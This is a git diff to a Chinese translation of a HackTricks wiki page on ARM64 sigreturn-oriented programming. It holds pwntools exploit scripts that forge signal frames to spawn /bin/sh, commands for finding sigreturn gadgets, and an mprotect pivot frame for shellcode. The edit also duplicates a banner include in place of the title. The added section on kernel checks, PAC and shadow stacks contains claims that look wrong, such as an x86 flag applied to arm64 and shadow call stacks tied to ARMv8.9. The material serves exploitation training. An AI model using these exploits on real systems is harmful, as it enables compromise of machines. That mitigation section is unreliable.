diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index a9aae72b6..91263ad54 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -1,10 +1,10 @@ -# SROP - ARM64 +# {{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}} ## Pwntools 示例 -此示例创建了易受攻击的二进制文件并对其进行利用。该二进制文件 **读取到栈中** 然后调用 **`sigreturn`**: +这个示例创建了一个易受攻击的二进制文件并对其进行利用。该二进制文件 **读取到栈中** 然后调用 **`sigreturn`**: ```python from pwn import * @@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -130,13 +130,13 @@ char* b = gen_stack(); return 0; } ``` -## 利用 +## Exploit -在 **`vdso`** 部分,可以在偏移量 **`0x7b0`** 找到对 **`sigreturn`** 的调用: +在**`vdso`**部分,可以在偏移量**`0x7b0`**找到对**`sigreturn`**的调用:
-因此,如果泄露,可以 **使用此地址访问 `sigreturn`**,如果二进制文件没有加载它: +因此,如果泄露,可以**使用此地址访问`sigreturn`**,如果二进制文件没有加载它: ```python from pwn import * @@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -171,10 +171,59 @@ p.interactive() ../ret2vdso.md {{#endref}} -要绕过 `/bin/sh` 的地址,您可以创建多个指向它的环境变量,更多信息请参见: +为了绕过 `/bin/sh` 的地址,您可以创建多个指向它的环境变量,更多信息请参见: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ {{#endref}} +--- + +## 自动查找 `sigreturn` gadgets (2023-2025) + +在现代发行版中,`sigreturn` 跳板仍然由 **vDSO** 页面导出,但确切的偏移量可能因内核版本和构建标志(如 BTI (`+branch-protection`) 或 PAC)而异。自动化其发现可以防止硬编码偏移量: +```bash +# With ROPgadget ≥ 7.4 +python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn + +# With rp++ ≥ 1.0.9 (arm64 support) +rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn +``` +两个工具都理解 **AArch64** 编码,并将列出可以用作 *SROP gadget* 的候选 `mov x8, 0x8b ; svc #0` 序列。 + +> 注意:当二进制文件使用 **BTI** 编译时,每个有效间接分支目标的第一条指令是 `bti c`。链接器放置的 `sigreturn` 跳板已经包含正确的 BTI 着陆垫,因此该 gadget 可以从非特权代码中使用。 + +## 使用 ROP 链接 SROP(通过 `mprotect` 进行 pivot) + +`rt_sigreturn` 让我们控制 *所有* 通用寄存器和 `pstate`。在 x86 上的一个常见模式是:1) 使用 SROP 调用 `mprotect`,2) pivot 到一个包含 shell-code 的新可执行栈。相同的想法在 ARM64 上也适用: +```python +frame = SigreturnFrame() +frame.x8 = constants.SYS_mprotect # 226 +frame.x0 = 0x400000 # page-aligned stack address +frame.x1 = 0x2000 # size +frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC +frame.sp = 0x400000 + 0x100 # new pivot +frame.pc = svc_call # will re-enter kernel +``` +在发送帧后,您可以发送一个包含原始 shell 代码的第二阶段,地址为 `0x400000+0x100`。由于 **AArch64** 使用 *PC-relative* 地址,这通常比构建大型 ROP 链更方便。 + +## 内核验证、PAC 和 Shadow-Stacks + +Linux 5.16 引入了对用户空间信号帧的更严格验证(提交 `36f5a6c73096`)。内核现在检查: + +* 当 `extra_context` 存在时,`uc_flags` 必须包含 `UC_FP_XSTATE`。 +* `struct rt_sigframe` 中的保留字必须为零。 +* *extra_context* 记录中的每个指针都必须对齐并指向用户地址空间内。 + +`pwntools>=4.10` 会自动生成合规的帧,但如果您手动构建,请确保将 *reserved* 初始化为零,并在不需要的情况下省略 SVE 记录——否则 `rt_sigreturn` 将返回 `SIGSEGV` 而不是返回。 + +从主流 Android 14 和 Fedora 38 开始,用户空间默认编译时启用 **PAC** (*Pointer Authentication*) 和 **BTI**(`-mbranch-protection=standard`)。 *SROP* 本身不受影响,因为内核直接从构造的帧中覆盖 `PC`,绕过保存在栈上的经过认证的 LR;然而,任何 **后续的 ROP 链** 执行间接分支时必须跳转到启用 BTI 的指令或 PAC 地址。在选择小工具时请记住这一点。 + +在 ARMv8.9 中引入的 Shadow-Call-Stacks(并且在 ChromeOS 1.27+ 上已启用)是一种编译器级的缓解措施,并且 *不* 干扰 SROP,因为没有执行返回指令——控制流由内核转移。 + +## 参考文献 + +* [Linux arm64 信号处理文档](https://docs.kernel.org/arch/arm64/signal.html) +* [LWN – "AArch64 分支保护已在 GCC 和 glibc 中实现" (2023)](https://lwn.net/Articles/915041/) + {{#include ../../../banners/hacktricks-training.md}}